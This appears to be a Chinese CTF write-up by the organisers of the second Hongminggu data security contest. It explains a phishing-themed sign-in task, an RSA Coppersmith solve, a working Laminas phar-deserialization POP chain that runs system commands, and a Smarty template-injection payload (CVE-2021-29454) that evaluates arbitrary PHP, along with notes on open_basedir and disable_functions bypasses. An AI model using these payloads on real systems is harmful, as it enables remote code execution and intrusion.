【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

WriteUp 3年前 (2022) admin
1,005 0 0

楔子

第二届“红明谷”杯数据安全大赛由数字中国建设峰会组委会主办;福建省数字福建建设领导小组办公室、三明市人民政府承办,永信至诚连续两届为大赛提供技术支持。旨在培养网络安全意识,重点考察数据安全理论及相关政策法规等,推动广大机关干部群众了解网络安全技术,巩固网络安全法知识,树立网络安全意识,以更好地为数字经济建设贡献力量!

签到

00 前言

2022年北京冬奥会举世瞩目,但有不法分子打着“魅力冬奥”的旗号使其全国350多万大学生被骗。红明谷将其情景再现,旨在呼吁大家提高安全意识,看到不明来历的链接要“不要点”,“早举报”,谨防上当受骗。这次签到我们写的”参赛选手问卷调查”,这是为了降低大家的警惕性,因为以往比赛中类似的问卷调查也是存在的,只是一般最后放出,但这次比赛一开始就放出,不知道有多少选手注意到这问卷调查的异常呢?

事件详情:全国350多万大学生在线答题助力冬奥被骗,警方通报来了!

01 致知力行

其实只要大家仔细一点,应该是可以发现问题的,背景图片中含有文字,不知道大家注意到了吗?

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

通过浏览器查看后面的图片内容就可以发现“魅力冬奥”这个骗局活动。

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

提交信息后,就会到扫描二维码的地方,这时查看源码就会发现,这里的注释也是在提醒大家。

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

到最后不知道有多少人知道自己的信息被非法收集了,就算在wp里面还是有很多选手的签到截图里面还有电话号码,像这类信息被泄露后的利用,比较印象深刻的就是“王校长”的美团账号被改绑的事件。

下图为某队伍wp内的友好吐槽。

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

easy_ya

约法X章

1. rsa
2. coopersmith

致知力行

  1. 分析源码可以得到rsa 加密的密文c,及其对应的公钥(n,e)和一个512位的素数r,以及M = m%r

  2. 加密前的明文是在末尾填充了32位随机字符串的,由于m = M+k*r 首先尝试爆破k,但是我们会发现并不能爆破出来,这时候考虑 k的大小 由于 m的位数约为 591 位,而 r的位数为512位,则k的位数约为 79位。显然k相对来说比较小(但是爆破是不可行的)

  3. 我们考虑使用coopersmith 的方法寻找小根k。可以构造如下的多项式:f = (M+x*r)^e -c 在 Zmod(n)的多项式环上有小根x = k,由于k < 2^79 < n^(1/e) 所以我们可以迅速的找到k,恢复m

poc如下:

#!sage
r = 7996728164495259362822258548434922741290100998149465194487628664864256950051236186227986990712837371289585870678059397413537714250530572338774305952904473
M = 4159518144549137412048572485195536187606187833861349516326031843059872501654790226936115271091120509781872925030241137272462161485445491493686121954785558
n = 131552964273731742744001439326470035414270864348139594004117959631286500198956302913377947920677525319260242121507196043323292374736595943942956194902814842206268870941485429339132421676367167621812260482624743821671183297023718573293452354284932348802548838847981916748951828826237112194142035380559020560287
e = 3
c = 46794664006708417132147941918719938365671485176293172014575392203162005813544444720181151046818648417346292288656741056411780813044749520725718927535262618317679844671500204720286218754536643881483749892207516758305694529993542296670281548111692443639662220578293714396224325591697834572209746048616144307282
P.<x> = PolynomialRing(Zmod(n))
f = (M+x*r)^e - c
k = f.monic().small_roots(X=2^100,beta=1,espilon=0.03)[0]
m = M+k*r
print(bytes.fromhex(hex(m)[2:]))


Fan website

01 约法X章

1.phar文件内容上传绕过
2.phar反序列化(Laminas链子利用)

02 致知力行

首先通过www.zip下载源码,然后代码审计。这题的考点也比较常见,文件内容的绕过方式可以是:zip压缩,gzip压缩和bz2压缩,反序列化链。网上也有公开可用的(https://xz.aliyun.com/t/8975),pop链子:

<?php

namespace LaminasViewResolver{
    class TemplateMapResolver{
        protected $map = ["setBody"=>"system"];
    }
}
namespace LaminasViewRenderer{
    class PhpRenderer{
        private $__helpers;
        function __construct(){
            $this->__helpers = new LaminasViewResolverTemplateMapResolver();
        }
    }
}


namespace LaminasLogWriter{
    abstract class AbstractWriter{}

    class Mail extends AbstractWriter{
        protected $eventsToMail = ["cat /flag"];          //  cmd  cmd cmd
        protected $subjectPrependText = null;
        protected $mail;
        function __construct(){
            $this->mail = new LaminasViewRendererPhpRenderer();
        }
    }
}

namespace LaminasLog{
    class Logger{
        protected $writers;
        function __construct(){
            $this->writers = [new LaminasLogWriterMail()];
        }
    }
}
namespace{
    use LaminasLogLogger;
    $phar = new Phar("ttpfx.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>"); //设置stub
    $o = new Logger();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", file_get_contents("test.txt"));
    //$phar->addFromString("test.txt", "test");
    //签名自动计算
    $phar->stopBuffering();
    system("gzip ttpfx.phar");
    rename("ttpfx.phar.gz""ttpfx.png");
}
?>

上传文件后,得到文件名:

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

通过/album/imgdelete 路由删除文件触发反序列化:

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)


Smarty_calculator

01 约法X章

1.对比官方源码和题目的修改部分(这里其实从题目描述也能看出来)
2.绕过 open_dasedir 或 disable_functions 来读取到flag

02 致知力行

第一步扫描目录得到:www.zip 源码,得到源码后就可以开始查看版本为:3.1.39,然后对比官方源代码发现其中的区别(https://github.com/smarty-php/smarty/releases/tag/v3.1.39)。

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

并且官方的:CHANGELOG.md 里面提到了安全问题(https://github.com/smarty-php/smarty/blob/v3.1.39/CHANGELOG.md),所以目标就明确为这一部分的绕过。

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

比较快的方式就是php的动态调试了,断点下在修改部分,然后输入的数据为 {function name='blah'}{/function}


【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

在断点处测试一下绕过正则,发现换行可以绕过。

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

设置cookie后发送构造poc:data=%7Bfunction%20name%3D'exp()%7B%7D%3Beval(%24_GET%5B1%5D)%3Bfunction%0A%0A'%7D%7B%2Ffunction%7D

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

题目有:open_basedir 和 disable_functions,既可以通过 ini_set 配合 chdir 的trick来绕过open_basedir 读取flag,也可以用蚁剑的插件来bypass disable_functions。

君有何策

非预期解:

1.CVE-2021-29454 的利用
2.绕过 open_dasedir 或 disable_functions 来读取到flag

在github上面可以找到相关的漏洞信息、修复代码以及测试数据里的说明。

https://github.com/smarty-php/smarty/security/advisories/GHSA-29gp-2c3m-3j6m

https://github.com/smarty-php/smarty/commit/215d81a9fa3cd63d82fb3ab56ecaf97cf1e7db71

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

然后把里面的测试数据放到题目里面看看报错。

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

绕过waf构造poc也能成功的代码执行,后面得到flag的流程部分与预期解一致。


– 未完待续 –



春秋GAME伽玛实验室

会定期分享赛题赛制设计、解题思路……

如果你日常有一些技术研究和好的设计思路

或在赛后对某道题有另辟蹊径的想法

欢迎找到春秋GAME投稿哦~

联系vx:cium0309

欢迎加入 春秋GAME CTF交流2群

Q群:703460426

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

原文始发于微信公众号(春秋伽玛):【WP】第二届“红明谷”杯数据安全大赛题目解析(一)

版权声明:admin 发表于 2022年3月23日 下午8:46。
转载请注明:【WP】第二届“红明谷”杯数据安全大赛题目解析(一) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...